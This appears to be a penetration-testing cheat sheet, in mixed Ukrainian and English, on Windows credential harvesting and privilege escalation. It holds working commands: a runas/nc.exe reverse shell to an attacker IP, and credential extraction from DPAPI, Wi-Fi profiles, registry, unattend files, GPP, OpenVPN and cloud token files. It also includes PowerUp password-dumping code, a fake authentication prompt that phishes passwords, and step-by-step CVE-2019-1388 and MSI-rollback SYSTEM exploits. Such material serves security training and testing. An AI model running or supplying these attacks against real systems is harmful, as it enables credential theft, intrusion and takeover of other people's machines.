Диспетчер облікових даних / Windows vault
Джерело https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, які Windows може автоматично виконувати вхід за користувача. На перший погляд здається, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так.
Windows Vault зберігає облікові дані, які Windows може використовувати для автоматичного входу користувачів, що означає: будь-який Windows application that needs credentials to access a resource (сервер або вебсайт) can make use of this Credential Manager і Windows Vault та застосовувати надані облікові дані замість того, щоб користувачі постійно вводили ім’я користувача й пароль.
Якщо додатки не взаємодіють із Credential Manager, я не вважаю, що вони зможуть використовувати облікові дані для конкретного ресурсу. Тому, якщо ваш додаток хоче використовувати vault, він повинен якимось чином спілкуватися з Credential Manager і запитувати облікові дані для цього ресурсу з дефолтного сховища.
Використовуйте cmdkey щоб вивести список збережених облікових даних на машині.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Тоді ви можете використати runas з опцією /savecred, щоб використовувати збережені облікові дані. У наступному прикладі викликається віддалений бінарний файл через SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Використання runas з наданим набором облікових даних.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Зверніть увагу, що mimikatz, lazagne, credentialfileview, VaultPasswordView, або з Empire Powershells module.
DPAPI
The Data Protection API (DPAPI) надає метод симетричного шифрування даних, який здебільшого використовується в операційній системі Windows для симетричного шифрування приватних ключів асиметричних алгоритмів. Це шифрування використовує секрет користувача або системи, що значною мірою додає ентропії.
DPAPI дозволяє шифрувати ключі за допомогою симетричного ключа, який виводиться з секретів входу користувача. У випадках системного шифрування воно використовує секрети автентифікації домену системи.
Зашифровані RSA-ключі користувача, за допомогою DPAPI, зберігаються в директорії %APPDATA%\Microsoft\Protect{SID}, де {SID} означає Security Identifier. Ключ DPAPI, розташований разом із головним ключем, який захищає приватні ключі користувача в тому ж файлі, зазвичай складається з 64 байт випадкових даних. (Важливо зауважити, що доступ до цієї директорії обмежений — її вміст не можна перерахувати за допомогою команди dir в CMD, хоча його можна переглянути через PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Ви можете використати mimikatz module dpapi::masterkey з відповідними аргументами (/pvk або /rpc) для його дешифрування.
credentials files protected by the master password зазвичай розташовані в:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).
PowerShell Credentials
PowerShell credentials часто використовуються для scripting та завдань автоматизації як спосіб зручного зберігання зашифрованих credentials. Ці credentials захищені за допомогою DPAPI, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп’ютері, на якому вони були створені.
Щоб decrypt PS credentials з файлу, що їх містить, ви можете зробити:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Збережені RDP підключення
Ви можете знайти їх у HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
та в HKCU\Software\Microsoft\Terminal Server Client\Servers\
Нещодавно виконані команди
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Диспетчер облікових даних Remote Desktop
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
Ви можете витягти багато DPAPI masterkeys з пам’яті за допомогою модуля Mimikatz sekurlsa::dpapi
Sticky Notes
Люди часто використовують додаток StickyNotes на Windows робочих станціях, щоб зберігати паролі та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл розташований за шляхом C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite і завжди вартий пошуку та перевірки.
AppCmd.exe
Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути Адміністратором і запускатися на рівні підвищеної цілісності.
AppCmd.exe знаходиться в директорії %systemroot%\system32\inetsrv\.\
Якщо цей файл існує, то можливо, що деякі облікові дані були налаштовані і можуть бути відновлені.
Цей код було витягнуто з PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Перевірте, чи існує C:\Windows\CCM\SCClient.exe .
Інсталятори запускаються з привілеями SYSTEM, багато з них вразливі до DLL Sideloading (Інформація з https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Файли та Реєстр (Облікові дані)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH-ключі в реєстрі
Приватні SSH-ключі можуть зберігатися в ключі реєстру HKCU\Software\OpenSSH\Agent\Keys, тому слід перевірити, чи є там щось цікаве:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він збережений у зашифрованому вигляді, але його можна легко дешифрувати за допомогою https://github.com/ropnop/windows_sshagent_extract.
Більше інформації про цю техніку тут: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Якщо служба ssh-agent не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Схоже, ця техніка більше не діє. Я спробував створити кілька ssh-ключів, додати їх за допомогою
ssh-addі підключитися по ssh до машини. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використанняdpapi.dllпід час автентифікації асиметричного ключа.
Несупровідні файли
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Ви також можете шукати ці файли за допомогою metasploit: post/windows/gather/enum_unattend
Приклад вмісту:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM резервні копії
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Хмарні облікові дані
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Пошукайте файл під назвою SiteList.xml
Кешований пароль GPP
Раніше існувала функція, яка дозволяла розгортати користувацькі локальні акаунти адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав серйозні вразливості безпеки. По-перше, Group Policy Objects (GPOs), збережені як XML-файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані AES256 з використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені права.
Щоб пом’якшити цей ризик, була розроблена функція, яка сканує локально кешовані файли GPP на наявність поля “cpassword”, яке не є порожнім. Знайшовши такий файл, функція розшифровує пароль і повертає користувацький PowerShell-об’єкт. Цей об’єкт містить деталі про GPP та місцезнаходження файлу, що допомагає у виявленні та усуненні цієї вразливості.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (до Windows Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Щоб розшифрувати cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Використання crackmapexec для отримання паролів:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS веб-конфіг
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Приклад web.config з обліковими даними:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN облікові дані
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Логи
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Попросити credentials
Ви завжди можете попросити користувача ввести свої credentials або навіть credentials іншого користувача, якщо вважаєте, що він може їх знати (зверніть увагу, що просити клієнта безпосередньо надати credentials — це дуже ризиковано):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Можливі імена файлів, що містять облікові дані
Відомі файли, які деякий час тому містили passwords у clear-text або Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Пошук у всіх запропонованих файлах:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Облікові дані в RecycleBin
Вам також слід перевірити Bin на наявність облікових даних
Щоб відновити паролі, збережені різними програмами, ви можете використати: http://www.nirsoft.net/password_recovery_tools.html
Всередині реєстру
Інші можливі ключі реєстру з обліковими даними
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Історія браузерів
Варто перевірити наявність dbs, де зберігаються паролі для Chrome or Firefox.
Також перевірте історію, закладки і favourites браузерів — можливо там також збережені деякі паролі.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) — технологія, вбудована в операційну систему Windows, яка дозволяє взаємодію між програмними компонентами, написаними різними мовами. Кожен COM компонент ідентифікується через class ID (CLSID), а функціональність компонента надається одним або кількома інтерфейсами, ідентифікованими interface IDs (IIDs).
COM classes and interfaces визначені в реєстрі під HKEY\CLASSES\ROOT\CLSID та HKEY\CLASSES\ROOT\Interface відповідно. Цей розділ реєстру створюється шляхом злиття HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Всередині CLSID цього розділу реєстру можна знайти дочірній ключ InProcServer32, який містить default value, що вказує на DLL, та значення ThreadingModel, яке може бути Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) або Neutral (Thread Neutral).
.png)
Фактично, якщо ви можете перезаписати будь-який із DLL, що будуть завантажені, ви можете підвищити привілеї, якщо цей DLL буде виконаний від імені іншого користувача.
To learn how attackers use COM Hijacking as a persistence mechanism check:
Загальний пошук паролів у файлах та реєстрі
Пошук вмісту файлів
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Пошук файлу з певним іменем
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Пошук у реєстрі імен ключів та паролів
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Інструменти для пошуку паролів
MSF-Credentials Plugin це msf плагін. Я створив цей плагін для автоматичного виконання всіх metasploit POST модулів, які шукають облікові дані всередині жертви.
Winpeas автоматично шукає всі файли, що містять паролі, згадані на цій сторінці.
Lazagne — ще один чудовий інструмент для витягання паролів із системи.
Інструмент SessionGopher шукає sessions, usernames і passwords кількох програм, які зберігають ці дані у clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Прочитайте цей приклад для більш докладної інформації про як виявити та експлуатувати цю вразливість.
Прочитайте це інше повідомлення для повнішого пояснення про те, як тестувати та зловживати іншими відкритими handlers процесів і потоків, успадкованими з різними рівнями дозволів (не лише full access).
Named Pipe Client Impersonation
Сегменти спільної пам’яті, що називають pipes, дозволяють процесам здійснювати обмін повідомленнями та передавати дані.
Windows надає функціонал під назвою Named Pipes, що дозволяє несуміжним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначаються як named pipe server та named pipe client.
Коли дані надсилає client, server, який створив pipe, може прийняти ідентичність цього client, за умови наявності в нього необхідних прав SeImpersonate. Виявлення privileged process, який спілкується через pipe, що ви можете імітувати, дає можливість отримати вищі привілеї шляхом прийняття ідентичності цього процесу, коли він взаємодіє з pipe, який ви встановили. Інструкції з виконання такої атаки можна знайти тут і тут.
Крім того, наступний інструмент дозволяє перехоплювати комунікацію named pipe за допомогою інструменту на кшталт burp: https://github.com/gabriel-sztejnworcel/pipe-intercept а цей інструмент дозволяє перерахувати та переглянути всі pipes для знаходження privescs https://github.com/cyberark/PipeViewer
Misc
File Extensions that could execute stuff in Windows
Перегляньте сторінку https://filesec.io/
Monitoring Command Lines for passwords
When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Викрадення паролів з процесів
Від користувача з обмеженими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Якщо у вас є доступ до графічного інтерфейсу (через console або RDP) та UAC увімкнено, у деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, наприклад “NT\AUTHORITY SYSTEM”, від імені користувача без привілеїв.
Це дозволяє підвищити привілеї та одночасно обійти UAC через ту саму вразливість. Крім того, немає потреби нічого встановлювати, і бінарний файл, який використовується під час процесу, підписаний та випущений Microsoft.
Деякі з уражених систем:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Щоб експлуатувати цю вразливість, необхідно виконати такі кроки:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
Від Administrator Medium до High Integrity Level / UAC Bypass
Прочитайте це, щоб дізнатися про Integrity Levels:
Потім прочитайте це, щоб дізнатися про UAC та обходи UAC:
Від довільного видалення/переміщення/перейменування папки до SYSTEM EoP
Техніка, описана in this blog post з exploit code available here.
Атака, по суті, полягає в зловживанні rollback-функціоналом Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючому потрібно створити malicious MSI installer, який буде використаний для захоплення папки C:\Config.Msi, яка пізніше використовуватиметься Windows Installer для зберігання rollback-файлів під час деінсталяції інших MSI-пакетів, де rollback-файли були змінені, щоб містити шкідливий payload.
Стислий опис техніки такий:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Create an
.msithat installs a harmless file (e.g.,dummy.txt) in a writable folder (TARGETDIR). -
Mark the installer as “UAC Compliant”, so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi. -
The uninstall process starts moving files to
C:\Config.Msiand renaming them to.rbffiles (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandleto detect when the file becomesC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
The
.msiincludes a custom uninstall action (SyncOnRbfWritten) that: -
Signals when
.rbfhas been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf -
When signaled, open the
.rbffile withoutFILE_SHARE_DELETE— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf, and because it can’t delete all contents,C:\Config.Msiis not removed. -
Step 5: Manually Delete
.rbf -
You (attacker) delete the
.rbffile manually. -
Now
C:\Config.Msiis empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Recreate the
C:\Config.Msifolder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC. -
Step 7: Run Another Install
-
Install the
.msiagain, with: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbsand.rbf. -
Step 8: Monitor for
.rbs -
Use
ReadDirectoryChangesWto monitorC:\Config.Msiuntil a new.rbsappears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msicontains a custom install action (SyncBeforeRollback) that: -
Signals an event when the
.rbsis created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs createdevent: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi. -
But since you still have a handle with
WRITE_DAC, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbsand.rbf -
Overwrite the
.rbsfile with a fake rollback script that tells Windows to: -
Restore your
.rbffile (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Drop your fake
.rbfcontaining a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs. -
Copies your
.rbfDLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
Від довільного видалення/переміщення/перейменування файлу до SYSTEM EoP
Основна MSI rollback-техніка (попередня) припускає, що ви можете видалити всю папку (наприклад, C:\Config.Msi). Але що якщо ваша вразливість дозволяє лише довільне видалення файлів?
Ви можете експлуатувати внутрішні механізми NTFS: кожна папка має прихований alternate data stream, який називається:
C:\SomeFolder::$INDEX_ALLOCATION
Цей потік зберігає індексні метадані папки.
Отже, якщо ви видалите потік ::$INDEX_ALLOCATION папки, NTFS видаляє всю папку з файлової системи.
Це можна зробити за допомогою стандартних API для видалення файлів, наприклад:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Навіть якщо ви викликаєте API видалення файлу, воно видаляє саму папку.
Від видалення вмісту папки до SYSTEM EoP
Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він дозволяє видалення вмісту папки, контрольованої атакуючим?
- Крок 1: Підготуйте папку-приманку та файл
- Створіть:
C:\temp\folder1 - Всередині:
C:\temp\folder1\file1.txt
- Крок 2: Розмістіть oplock на
file1.txt
- oplock призупиняє виконання, коли привілейований процес намагається видалити
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Викличте процес SYSTEM (наприклад,
SilentCleanup)
- Цей процес сканує папки (наприклад,
%TEMP%) і намагається видалити їх вміст. - Коли він доходить до
file1.txt, oplock triggers і передає керування вашому callback.
- Всередині oplock callback – перенаправте видалення
-
Варіант A: Перемістіть
file1.txtв інше місце -
Це очищує
folder1, не зриваючи oplock. -
Не видаляйте
file1.txtбезпосередньо — це передчасно звільнить oplock. -
Варіант B: Перетворіть
folder1на junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Варіант C: Створити symlink у
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Це спрямовано на внутрішній потік NTFS, який зберігає метадані папки — його видалення видаляє папку.
- Крок 5: Відпустити oplock
- Процес SYSTEM продовжує й намагається видалити
file1.txt. - Але тепер, через junction + symlink, насправді видаляється:
C:\Config.Msi::$INDEX_ALLOCATION
